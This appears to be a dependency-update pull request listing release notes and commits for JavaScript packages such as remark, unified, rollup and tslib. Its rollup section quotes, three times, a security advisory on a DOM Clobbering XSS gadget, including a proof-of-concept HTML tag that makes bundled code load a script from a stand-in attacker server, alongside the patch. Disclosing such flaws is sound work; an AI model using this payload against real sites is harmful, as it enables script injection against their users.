11.0.0remark: update `remark-stringify`remark: update `remark-parse`remark-stringify: 7.0.0remark-parse: 7.0.0Fix entities testFix CLI help text testFix tests not failing on errorUpdate dev-dependenciesAdd TypeScript definitionsFix inline code and vertical bars in tablesFix non-ASCII whitespace in inline codeFix initial, final newlines in fenced codeFix tilde, backtick in fenced code info stringFix to prefer footnote instead of reference labelFix support for definitions in list and blockquoteFix to merge blockquotes in gfm modeAdd `remark-code-frontmatter to plugins`Add more links to unified for examples of useAdd `remark-code-extra` to List of PluginsUpdate list of pluginsRemove community health filesRefactor proseRemove superfluous `xo` rulesUpdate `.mailmap`Update metadata in `package.json`sFix tests on WindowsUpdate Node in TravisMove URLs from HTTP to HTTPSremark-cli: update `unified-args`remark: update `unified`remark-stringify: update `stringify-entities`Update dev-dependenciesAdd `remark-tree-sitter` to list of pluginsAdd `name` to `package.json`Add `remark-sectionize` to plugins.mdAdd `remark-capitalize` to list of pluginsAdd remark-utf8s and remark-code-screenshot to list of pluginsremark-parse: fix docs referencing positionAdd `remark-redactable` to list of pluginsFix project links in readmeUpdate dev-dependenciesAdd more badgesremark-cli: 6.0.1
โ๏ธ remark-rehype (indirect, 10.1.0 โ 11.1.2) ยท Repo
Release Notes
11.1.2
Types
- eefd5f1 Fix types for bridge mode with missing overload
Full Changelog: 11.1.1...11.1.2
11.1.1
Fix
- f0cce2d Fix mutate support in
unified-engineMiscellaneous
- 364ee71 Remove license year
Types
Full Changelog: 11.1.0...11.1.1
11.1.0
Add
- 0174dfc Add
fileto options passed tomdast-util-to-hastFull Changelog: 11.0.0...11.1.0
11.0.0
Change
- 30091c7 Change to require Node.js 16
migrate: update too- cafeacc Change to use
exports
migrate: donโt use private APIs- acb292a Update
mdast-util-to-hast,@types/{hast,mdast}, unified, etc
migrate: update too
if you donโt use handlers, this should be fine;
if you do, seemdast-util-to-hast@13.0.0- ba50965 Remove
Processortype
migrate: get it fromunifiedAdd
- b990986 Add exports of
defaultFootnoteBackContent,defaultFootnoteBackLabelFull Changelog: 10.1.0...11.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 42 commits:
11.1.2Refactor docsFix types for bridge mode with missing overloadRefactor some codeRefactor `package.json`Refactor `.gitignore`Refactor `.editorconfig`Update actionsUpdate dev-dependencies11.1.1Fix mutate support in `unified-engine`Refactor to use `@import`sAdd declaration mapsRemove license yearUpdate ActionsAdd `.tsbuildinfo` to `.gitignore`Update dev-dependencies11.1.0Add `file` to options passed to `mdast-util-to-hast`Update dev-dependencies11.0.0Change to require Node.js 16Change to use `exports`Add exports of `defaultFootnoteBackContent`, `defaultFootnoteBackLabel`Remove `Processor` typeRefactor docsRefactor code-styleUpdate `mdast-util-to-hast`, `@types/{hast,mdast}`, unified, etcRefactor to use `node:test`Refactor `.npmrc`Refactor ActionsRefactor `package.json`Refactor `tsconfig.json`Update dev-dependenciesAdd `ignore-scripts` to `.npmrc`Fix to turn of `this` error introduced in TS 4.9Update docs for changes in `mdast-util-to-hast`Update docsUpdate dev-dependenciesAdd docs for `footnoteLabelTagName`, `footnoteLabelProperties`Replace skypack w/ esm.shAdd link to solving clobbering in docs
โ๏ธ remark-smartypants (indirect, 2.0.0 โ 3.0.2) ยท Repo
Release Notes
3.0.2
What's Changed
- Fix smart quotes at the start of paragraphs by @rwblickhan in #87
New Contributors
- @rwblickhan made their first contribution in #87
Full Changelog: v3.0.1...v3.0.2
3.0.1
What's Changed
New Contributors
Full Changelog: v3.0.0...v3.0.1
3.0.0
Update TypeScript definiition for unified v11 ๐ Thanks @mashehu for the help!
From the development side we also migrated the source code to TypeScript, so future updates should be safer.
Let us know if you find any regressions!
2.1.0
So far this plugin had trouble with nested use cases like adding quotes around links (
"[example](https://example.com)") and inline code ("`code`") โ it wouldn't recognize that the 2nd quote is the closing quote and turn them into proper smart quotes. Thankfully @dimaMachina and @2wheeh helped with handling these inception cases much better ๐ช
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
โ๏ธ retext (indirect, 8.1.0 โ 9.0.0) ยท Repo ยท Changelog
Release Notes
9.0.0
Change
- a4987d7 Update
@types/nlcst,unified, utilities, etc
migrate: update too- 252453a Change to require Node.js 16
migrate: update too- e719bf4 Change to use
exports
migrate: donโt use private APIs- 67cef52 Remove parser exports
migrate: get them fromparse-englishand similarMisc
- b179ede Add
retext-lexrankto list of plugins
by @gorango in #82- 44d6e7a Add
retext-case-policeto list of plugins
by @JulianCataldo in #78Full Changelog: 8.1.0...9.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 32 commits:
9.0.0retext-stringify: 4.0.0retext-latin: 4.0.0retext-english: 5.0.0retext-dutch: 5.0.0Change to require Node.js 16Change to use `exports`Refactor docsRefactor code-styleRemove parser exportsRefactor to use `node:test`Add `ignore-scripts` to `.npmrc`sRefactor ActionsRefactor `package.json`sRefactor `tsconfig.json`sUpdate `@types/nlcst`, `unified`, utilities, etcUpdate dev-dependenciesFix buildAdd sponsorAdd `ignore-scripts` to `.npmrc`Update ActionsUpdate Node in ActionsFix internal types for TS 4.9Update dev-dependenciesAdd `retext-lexrank` to list of pluginsAdd `retext-case-police` to list of pluginsRefactor some more docsRefactor code-styleAdd improved docsUpdate dev-dependenciesUpdate sponsorsUpdate dev-dependencies
โ๏ธ retext-smartypants (indirect, 5.2.0 โ 6.2.0) ยท Repo
Release Notes
6.2.0
Add
- f8f9683 Add support for live typing 3 dashes
Full Changelog: 6.1.1...6.2.0
6.1.1
- b4629a7 Fix quote surrounded by punctuation near end of string
Full Changelog: 6.1.0...6.1.1
6.1.0
- 6fa9e37 Add expanded ellipses options
by @teddybradford in #11Full Changelog: 6.0.0...6.1.0
6.0.0
Change
- 11271dd Update
@types/nlcst,unified, utilities, etc
migrate: update too- 1f0d960 Change to use
exports
migrate: update too- d79c475 Change to require Node.js 16
migrate: donโt use private APIsFull Changelog: 5.2.0...6.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 28 commits:
6.2.0Add support for live typing 3 dashesRefactor `package.json`Refactor `.editorconfig`Refactor ActionsRemove license yearAdd `.tsbuildinfo` to `.gitignore`6.1.1Fix quote surrounded by punctuation near end of stringRefactor to use `@import`sAdd declaration mapsUpdate dev-dependencies6.1.0Update dev-dependenciesAdd expanded ellipses options6.0.0Change to use `exports`Change to require Node.js 16Refactor docsRefactor code-styleRefactor to use `node:test`Refactor to move implementation to `lib/`Add `ignore-scripts` to `.npmrc`Refactor ActionsRefactor `package.json`Refactor `tsconfig.json`Update `@types/nlcst`, `unified`, utilities, etcUpdate dev-dependencies
โ๏ธ rollup (indirect, 2.79.1 โ 4.52.4) ยท Repo ยท Changelog
Security Advisories ๐จ
๐จ DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use
import.meta.urlor with plugins that emit and reference asset files from code incjs/umd/iifeformat. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., animgtag with an unsanitizednameattribute) are present.It's worth noting that weโve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadget found in
rollupWe have identified a DOM Clobbering vulnerability in
rollupbundled scripts, particularly when the scripts usesimport.metaand set output in format ofcjs/umd/iife. In such cases,rollupreplaces meta property with the URL retrieved fromdocument.currentScript.rollup/src/ast/nodes/MetaProperty.ts
Lines 157 to 162 in b86ffd7
rollup/src/ast/nodes/MetaProperty.ts
Lines 180 to 185 in b86ffd7
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, thesrcattribute of the attacker-controlled element (e.g., animgtag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use therollupto bundle up the program:rollup main.js --format cjs --file bundle.js.var s = document.createElement('script') s.src = import.meta.url + 'extra.js' document.head.append(s)The output
bundle.jsis shown in the following code snippet.'use strict'; var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null; var s = document.createElement('script'); s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js'; document.head.append(s);Adding the
rollupbundled script,bundle.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.serverdue to the introduced gadget during bundling. The attacker only needs to insert animgtag with the name attribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>rollup Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="bundle.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of
cjs,iife, orumdand useimport.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing thenameoridattributes.Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(relativePath)}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI` );const getUrlFromDocument = (chunkId: string, umd = false) => `${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId( chunkId )}', document.baseURI).href)`;
๐จ DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use
import.meta.urlor with plugins that emit and reference asset files from code incjs/umd/iifeformat. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., animgtag with an unsanitizednameattribute) are present.It's worth noting that weโve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadget found in
rollupWe have identified a DOM Clobbering vulnerability in
rollupbundled scripts, particularly when the scripts usesimport.metaand set output in format ofcjs/umd/iife. In such cases,rollupreplaces meta property with the URL retrieved fromdocument.currentScript.rollup/src/ast/nodes/MetaProperty.ts
Lines 157 to 162 in b86ffd7
rollup/src/ast/nodes/MetaProperty.ts
Lines 180 to 185 in b86ffd7
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, thesrcattribute of the attacker-controlled element (e.g., animgtag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use therollupto bundle up the program:rollup main.js --format cjs --file bundle.js.var s = document.createElement('script') s.src = import.meta.url + 'extra.js' document.head.append(s)The output
bundle.jsis shown in the following code snippet.'use strict'; var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null; var s = document.createElement('script'); s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js'; document.head.append(s);Adding the
rollupbundled script,bundle.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.serverdue to the introduced gadget during bundling. The attacker only needs to insert animgtag with the name attribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>rollup Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="bundle.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of
cjs,iife, orumdand useimport.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing thenameoridattributes.Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(relativePath)}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI` );const getUrlFromDocument = (chunkId: string, umd = false) => `${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId( chunkId )}', document.baseURI).href)`;
๐จ DOM Clobbering Gadget found in rollup bundled scripts that leads to XSS
Summary
We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use
import.meta.urlor with plugins that emit and reference asset files from code incjs/umd/iifeformat. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., animgtag with an unsanitizednameattribute) are present.It's worth noting that weโve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.
Details
Backgrounds
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/Gadget found in
rollupWe have identified a DOM Clobbering vulnerability in
rollupbundled scripts, particularly when the scripts usesimport.metaand set output in format ofcjs/umd/iife. In such cases,rollupreplaces meta property with the URL retrieved fromdocument.currentScript.rollup/src/ast/nodes/MetaProperty.ts
Lines 157 to 162 in b86ffd7
rollup/src/ast/nodes/MetaProperty.ts
Lines 180 to 185 in b86ffd7
However, this implementation is vulnerable to a DOM Clobbering attack. The
document.currentScriptlookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, thesrcattribute of the attacker-controlled element (e.g., animgtag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.PoC
Considering a website that contains the following
main.jsscript, the devloper decides to use therollupto bundle up the program:rollup main.js --format cjs --file bundle.js.var s = document.createElement('script') s.src = import.meta.url + 'extra.js' document.head.append(s)The output
bundle.jsis shown in the following code snippet.'use strict'; var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null; var s = document.createElement('script'); s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js'; document.head.append(s);Adding the
rollupbundled script,bundle.js, as part of the web page source code, the page could load theextra.jsfile from the attacker's domain,attacker.controlled.serverdue to the introduced gadget during bundling. The attacker only needs to insert animgtag with the name attribute set tocurrentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.<!DOCTYPE html> <html> <head> <title>rollup Example</title> <!-- Attacker-controlled Script-less HTML Element starts--!> <img name="currentScript" src="https://attacker.controlled.server/"></img> <!-- Attacker-controlled Script-less HTML Element ends--!> </head> <script type="module" crossorigin src="bundle.js"></script> <body> </body> </html>Impact
This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of
cjs,iife, orumdand useimport.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing thenameoridattributes.Patch
Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.
const getRelativeUrlFromDocument = (relativePath: string, umd = false) => getResolveUrl( `'${escapeId(relativePath)}', ${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI` );const getUrlFromDocument = (chunkId: string, umd = false) => `${ umd ? `typeof document === 'undefined' ? location.href : ` : '' }(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId( chunkId )}', document.baseURI).href)`;
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 4 commits:
โ๏ธ shiki (indirect, 0.11.1 โ 3.13.0) ยท Repo ยท Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 2 commits:
โ๏ธ tslib (indirect, 2.4.1 โ 2.8.1) ยท Repo
Release Notes
2.8.1
What's Changed
- Fix publish workflow by @andrewbranch in #271
- Include non-enumerable keys in __importStar helper by @rbuckton in #272
- Remove use of ES2015 syntax by @andrewbranch in #275
Full Changelog: v2.8.0...v2.8.1
2.8.0
What's Changed
- Validate export structure of every entrypoint by @andrewbranch in #269
- Add rewriteRelativeImportExtension helper by @andrewbranch in #270
Full Changelog: v2.7.0...v2.8.0
2.7.0
What's Changed
- Implement deterministic collapse of
awaitinawait usingby @rbuckton in #262- Use global 'Iterator.prototype' for downlevel generators by @rbuckton in #267
Full Changelog: v2.6.3...v2.7.0
2.6.3
What's Changed
Full Changelog: v2.6.2...v2.6.3
2.6.2
What's Changed
- Fix path to
exports["module"]["types"]by @andrewbranch in #217Full Changelog: v2.6.1...v2.6.2
2.6.1
What's Changed
- Allow functions as values in __addDisposableResource by @rbuckton in #215
- Stop using es6 syntax in the es6 file by @andrewbranch in #216
Full Changelog: 2.6.0...v2.6.1
2.6.0
What's Changed
Full Changelog: v2.5.3...2.6.0
2.5.3
What's Changed
- Do not reference tslib.es6.js from package.json exports by @andrewbranch in #208
Full Changelog: 2.5.2...v2.5.3
2.5.2
This release explicitly re-exports helpers to work around TypeScript's incomplete symbol resolution for tslib.
2.5.1
This release of tslib provides fixes for two issues.
First, it reverses the order of
inithooks provided by decorators to correctly reflect proposed behavior.Second, it corrects the
exportsfield of tslib'spackage.jsonand provides accurate declaration files so that it may be consumed under thenode16andbundlersettings formoduleResolution.
2.5.0
What's New
- Fix asyncDelegator reporting done too early by @apendua in #187
- Add support for TypeScript 5.0's
__esDecorateand related helpers by @rbuckton in #193Full Changelog: 2.4.1...2.5.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 71 commits:
2.8.1Merge pull request #275 from microsoft/bug/es5-compatRemove use of ES2015 syntaxInclude non-enumerable keys in __importStar helper (#272)Add missing registry-url parameterMerge pull request #271 from microsoft/fix-publishFix publish workflow2.8.0Merge pull request #270 from microsoft/rewriteRelativeImportExtensionMissed updateLittle optimizationsAdd URL-ish testCombine tsx case into regexTest and fix invalid declaration-looking extensionsDo more with a regexShorten by one lineCase insensitivity, remove lookbehindAdd rewriteRelativeImportExtension helperMerge pull request #269 from microsoft/test-infrastructureTest export structureBump version to 2.7.0.Use global 'Iterator.prototype' for downlevel generators (#267)Implement deterministic collapse of 'await' in 'await using' (#262)2.6.3'await using' normative changes (#258)Bump the github-actions group with 3 updates (#253)Bump the github-actions group with 1 update (#242)Bump the github-actions group with 1 update (#241)Bump the github-actions group with 2 updates (#240)JSDoc typo on `__exportStar`. (#221)Bump the github-actions group with 1 update (#233)Bump the github-actions group with 1 update (#230)Bump the github-actions group with 2 updates (#228)Pin CI actions missed in previous PRCI: Hashpin sensitive actions and install dependabot (#226)Fix __asyncGenerator to properly handle AsyncGeneratorUnwrapYieldResumption (#222)Update codeql workflow using GUI (#223)CI: set minimal permissions for GitHub Workflows (#218)2.6.2Merge pull request #217 from microsoft/bug/fix-modules-condition-types-pathFix path to exports["module"]["types"]2.6.1Merge pull request #216 from microsoft/bug/205Undo format on saveStop using es6 syntax in the es6 fileAllow functions as values in __addDisposableResource (#215)2.6.0Add helpers for `using` and `await using` (#213)2.5.3Merge pull request #208 from microsoft/moar-modulesDo not reference tslib.es6.js from package.json exportsBump version to 2.5.2.Use named reexport to satsify incomplete TS symbol resolution (#204)Reverse order of decorator-injected initializers (#202)Merge pull request #200 from Andarist/fix/import-typesUpdate modules/index.d.tsMerge pull request #201 from microsoft/fix-esmMerge pull request #179 from guybedford/patch-4Add default export to modules/index.jsEnsure tslib.es6.js is typedAdd Node-specific export condition for ESM entrypoint that re-exports CJSAdd propert declaration file for the `import` conditionMerge pull request #195 from xfq/httpshttp -> httpsMerge pull request #194 from microsoft/bump-version-2.5Bump package version to 2.5.0Add support for __esDecorate and related helpers (#193)Merge pull request #188 from microsoft/add-codeqltry paths: .add codeqlFix asyncDelegator reporting done too early (#187)
โ๏ธ type-fest (indirect, 0.13.1 โ 4.41.0) ยท Repo
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by 5 commits:
โ๏ธ unified (indirect, 10.1.2 โ 11.0.5) ยท Repo ยท Changelog
Release Notes
11.0.5
Fix
- 1e0863a Fix exception on older browsers
by @justinbhopper in #246Full Changelog: 11.0.4...11.0.5
11.0.4
Types
- 1ca1a43 Add TypeScript declaration maps
by @remcohaszing in #230Full Changelog: 11.0.3...11.0.4
11.0.3
Fix
- 8dee2ab Fix support for functions in data
Full Changelog: 11.0.2...11.0.3
11.0.2
- cea788b Fix type of settings if nothing is registered yet
Full Changelog: 11.0.1...11.0.2
11.0.1
- d1a915d Fix incorrect type of
settingsin presetsFull Changelog: 11.0.0...11.0.1
11.0.0
Change
- baf80b2 Change to require Node.js 16
migrate: update too- dd9834a Update
@types/unist
migrate: update too- 620ccf9 Update
vfile
migrate: update tooChange (unlikey to affect you)
- a44db46 Add
Data,Settingstypes to augment shared data
migrate: if you deal with data, type it, see commit for info- fb49556 Change to replace
BufferwithUint8Array
migrate: youโre probably fine unless you use weird encodings, see commit for details if so- f3e71a8 Remove
Attachertype
migrate: usePlugininstead- cc53bb6 Remove
FrozenProcessortype
migrate: useProcessorinstead- 1aa3494 Change to yield
undefined, notnull
migrate: expectundefined- 932c140 Change to use
exports
migrate: donโt use private APIs- 8e57478 Remove support for classes as compilers, parsers
migrate: if you love classes, see commit message- 4676814 Remove support for compilers returning nullish
migrate: nobody did that- 807ffb9 Add improved types
migrate: itโs probably just better if anything changed at all- b35afe0 Add useful error on empty presets
by @wooorm in #202- 6f068a0 Fix to deep clone preset settings
- 56ee288 Fix non-first parameter merging when reconfiguring plugins
Misc
- e58b095 ad06700 40f0329 Refactor code-style
- ffc146c Update
typescript
by @ChristianMurphy in #216- 7148746 144eec0 2d95451 Add improved docs
- afb704a Fix some typos
by @ChristianMurphy in #225- 2aa15ea Refactor types
- a06537c Add sponsor
Full Changelog: 10.1.2...11.0.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 65 commits:
11.0.5Refactor code-styleFix exception on older browsersUpdate dev-dependenciesRemove emoji from JSDoc to prevent segfaultAdd canary workflow backUpdate dev-dependenciesFix build11.0.4Add TypeScript declaration maps11.0.3Remove broken canary tests for nowFix support for functions in dataUpdate dev-dependenciesRefactor badge URL in docs11.0.2Fix type of settings if nothing is registered yet11.0.1Fix incorrect type of `settings` in presets11.0.0Fix another typoFix some typosChange to require Node.js 16Remove support for classes as compilers, parsersRefactor docsAdd `Data`, `Settings` types to augment shared dataRefactor some more code to use JSDocRemove support for compilers returning nullishFix non-first parameter merging when reconfiguring pluginsFix to deep clone preset settingsRemove `Attacher` typeRefactor code-styleRefactor to use JSDoc, remove `FrozenProcessor` typeUpdate dev-dependenciesAdd improved typesChange to yield `undefined`, not `null`Change to replace `Buffer` with `Uint8Array`Refactor code-styleRefactor `tsconfig.json`Refactor `package.json`Refactor to reorder canariesAdd `ignore-scripts` to `.npmrc`Refactor `.gitignore`Update ActionsReplace dependencyChange to use `exports`Update `vfile`Update `@types/unist`Remove unneeded explicit types in testsUpdate dev-dependenciesUpdate `typescript`Add useful error on empty presetsFix buildAdd sponsorRefactor some docsUse Node test runnerUpdate actionsRefactor `tsconfig.json`Update dev-dependenciesUpdate dev-dependenciesAdd improved docsRefactor typesFix typeUpdate dev-dependenciesRemove reference to `unified-engine-atom`
โ๏ธ unist-util-is (indirect, 5.1.1 โ 6.0.0) ยท Repo
Release Notes
6.0.0
Changes
- cd152e7 Update
@types/unist
migrate: update@types/unisttoo- 8a2febe Change to require Node.js 16
migrate: update Node- f91a1c2 Change to use
exportmap
migrate: donโt use private APIs- dc59467 Change types to work w/o explicit type parameter
migrate: donโt pass an explicit type parameter;
replaceAssertAnything,AssertPredicate->Check;
TestFunctionAnything,TestFunctionPredicate->TestFunction;
PredicateTest->TestFull Changelog: 5.2.1...6.0.0
5.2.1
Misc
Full Changelog: 5.2.0...5.2.1
5.2.0
Add
- 262c28f Add export of
PredicateTesttypeMisc
- 22b8d14 ee8834b ccb5949 06def74 Add improved docs
- 44bd516 ecabf42 b7ffc07 Refactor code-style
- 9a8ef81 Update
tsconfig.jsonFull Changelog: 5.1.1...5.2.0
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 29 commits:
6.0.0Update `@types/unist`Change to require Node.js 16Change to use `export` mapRefactor docsChange types to work w/o explicit type parameterRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependencies5.2.1Add `@types/unist` to dependencies5.2.0Add improved docsAdd tests for exposed identifiersUse Node test runnerAdd export of `PredicateTest` typeRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependenciesFix typoAdd improved jsdocAdd improved docsRefactor code-styleUpdate dev-dependenciesadd `ignore-scripts` to `.npmrc`Add better docsUpdate dev-dependencies
โ๏ธ unist-util-modify-children (indirect, 3.1.0 โ 4.0.0) ยท Repo
Release Notes
4.0.0
Change
- d8fae1c Update
@types/unist
migrate: update too- 2e92449 Change to require Node.js 16
migrate: update too- 5bec8ab Change to use
exportmap
migrate: donโt use private APIsFull Changelog: 3.1.1...4.0.0
3.1.1
Misc
Full Changelog: 3.1.0...3.1.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 18 commits:
4.0.0Update `@types/unist`Change to require Node.js 16Change to use `export` mapRefactor docsRefactor code-styleRefactor `.npmrc`Refactor `package.json`, `tsconfig.json`Update dev-dependencies3.1.1Add improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependencies
โ๏ธ unist-util-position (indirect, 4.0.3 โ 5.0.0) ยท Repo
Release Notes
5.0.0
Change
- 4049b1f Update
@types/unist
migrate: update too- 91eee7f Change to require Node.js 16
migrate: update too- fda0351 Change to use
exportmap
migrate: donโt use private APIs- e396010 Change to return
undefinedfor invalid points, positions
by @wooorm in #12
migrate: expectundefinedFull Changelog: 4.0.4...5.0.0
4.0.4
Misc
Full Changelog: 4.0.3...4.0.4
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 22 commits:
5.0.0Update `@types/unist`Change to require Node.js 16Change to use `export` mapRefactor docsRefactor `.npmrc`Refactor code-styleRefactor `package.json`, `tsconfig.json`Change to return `undefined` for invalid points, positionsUpdate dev-dependencies4.0.4Fix typoAdd improved docsAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependenciesAdd improved docsUpdate dev-dependencies
โ๏ธ unist-util-remove-position (indirect, 4.0.1 โ 5.0.0) ยท Repo
Release Notes
5.0.0
Change
- f18d159 Update
@types/unist
migrate: update too- 24ea478 Change to require Node.js 16
migrate: update too- 15b015e Change to use
exportmap
migrate: donโt use private APIs- fa86ae2 Change to yield
undefined
migrate: expectundefined- 910f1bb Change to remove
forceshortcut
migrate:true->{force: true}Full Changelog: 4.0.2...5.0.0
4.0.2
Misc
Full Changelog: 4.0.1...4.0.2
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 27 commits:
5.0.0Update `@types/unist`Change to use `export` mapChange to require Node.js 16Change to yield `undefined`Change to remove `force` shortcutRefactor docsRefactor `.npmrc`Refactor code-styleRefactor `package.json`, `tsconfig.json`Update dev-dependencies4.0.2Add improved docsFix typosAdd tests for exposed identifiersUse Node test runnerRefactor code-styleRefactor to move implementation to `lib/`Update `tsconfig.json`Update ActionsUpdate dev-dependenciesFix typoRemove unneeded overloadingAdd improved docsReplace dev-dependencyUpdate dev-dependenciesadd `ignore-scripts` to `.npmrc`
